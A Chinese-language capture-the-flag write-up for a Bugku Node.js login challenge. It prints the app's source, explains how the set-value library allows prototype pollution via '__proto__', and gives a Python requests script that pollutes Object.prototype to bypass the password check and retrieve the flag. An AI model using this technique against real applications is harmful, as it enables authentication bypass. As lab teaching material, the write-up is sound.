启动场景要金币,就不截图了,直接上源码(源码是扫描目录扫出来的):

    1. var express = require('express');
    2. const setFn = require('set-value');
    3. var router = express.Router();
    4. const Admin = {
    5. "password":process.env.password?process.env.password:"password"
    6. }
    7. router.post("/getflag", function (req, res, next) {
    8. if (req.body.password === undefined || req.body.password === req.session.challenger.password){
    9. res.send("登录失败");
    10. }else{
    11. if(req.session.challenger.age > 79){
    12. res.send("糟老头子坏滴很");
    13. }
    14. let key = req.body.key.toString();
    15. let password = req.body.password.toString();
    16. if(Admin[key] === password){
    17. res.send(process.env.flag ? process.env.flag : "flag{test}");
    18. }else {
    19. res.send("密码错误,请使用管理员用户名登录.");
    20. }
    21. }
    22. });
    23. router.get('/reg', function (req, res, next) {
    24. req.session.challenger = {
    25. "username": "user",
    26. "password": "pass",
    27. "age": 80
    28. }
    29. res.send("用户创建成功!");
    30. });
    31. router.get('/', function (req, res, next) {
    32. res.redirect('index');
    33. });
    34. router.get('/index', function (req, res, next) {
    35. res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
    36. });
    37. router.post("/update", function (req, res, next) {
    38. if(req.session.challenger === undefined){
    39. res.redirect('/reg');
    40. }else{
    41. if (req.body.attrkey === undefined || req.body.attrval === undefined) {
    42. res.send("传参有误");
    43. }else {
    44. let key = req.body.attrkey.toString();
    45. let value = req.body.attrval.toString();
    46. setFn(req.session.challenger, key, value);
    47. res.send("修改成功");
    48. }
    49. }
    50. });
    51. module.exports = router;

    先来分析下流程:

    1. 进入网站,点击注册,跳转至/reg
    2. 创建一个用户,保存在req.session.challenger
    3. 通过/update可以修改req.session.challenger中任意键值的任意属性
    4. /getflag经过一系列验证,如果正确则弹出输出flag

    那么接下来主要看getflag的验证:
    第一步:

    1. if (req.body.password === undefined ||
    2. req.body.password === req.session.challenger.password){
    3. res.send("登录失败");
    4. }

    req.body.password指的是post请求中的表单项,要求不能等于/reg时的密码,这个简单,提交个不一样的密码就行
    第二步:

    1. if(req.session.challenger.age > 79){
    2. res.send("糟老头子坏滴很");
    3. }

    这个本来我以为是没什么问题,但是有时候题目环境不同时,res.send()之后就不会执行代码了,所以这个也需要绕过,使用/update修改age即可
    第三步:

    1. let key = req.body.key.toString();
    2. let password = req.body.password.toString();
    3. if(Admin[key] === password){
    4. res.send(process.env.flag ? process.env.flag : "flag{test}");
    5. }

    要求Admin的键key的值强等于password,此时Admin的内容是:

    1. const Admin = {
    2. "password":process.env.password?process.env.password:"password"
    3. }

    题目环境中,process.env.password肯定是存在的,但是值我们不清楚。
    经过一番搜索,发现在setFn函数中存在一个JS原型链污染漏洞。
    看一下他的例子:

    1. const obj = {};
    2. set(obj, 'a.b.c', 'd');
    3. console.log(obj);
    4. //=> { a: { b: { c: 'd' } } }

    通过识别由”.”连接起来的属性,来将其赋值到对应的对象中。
    而对象中有个特殊的属性__proto__,这个东西是什么呢:

    《JavaScript权威指南》 Every JavaScript object has a second JavaScript object (or null , but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.

    翻译过来就是

    每一个JavaScript对象都有第二个JavaScript对象(或空,但这种情况很少)与之相关联。这第二个对象被称为原型,第一个对象继承原型的属性。

    也就是说在原型上定义的属性或者方法,都会被其他对象继承。
    现在有漏洞,知道原型链,就简单了。
    payload:

    1. import requests
    2. session = requests.session()
    3. url = 'http://url/'
    4. # 通过update修改age的大小
    5. json0={
    6. "attrkey":"age",
    7. "attrval":60
    8. }
    9. # setFn函数在Object对象上写入属性test,值也是test
    10. json1 = {
    11. "attrkey" : "__proto__.test",
    12. "attrval": "test"
    13. }
    14. # getflag通过键名的方式取出来位于原型上的属性,也就是json1的test属性,与password比较
    15. json2 = {
    16. "key" : "test",
    17. "password" : "test"
    18. }
    19. session.get(url+'reg')
    20. session.post(url+'update', json=json0)
    21. session.post(url+'update', json=json1)
    22. print(session.post(url+'getflag', json=json2).text)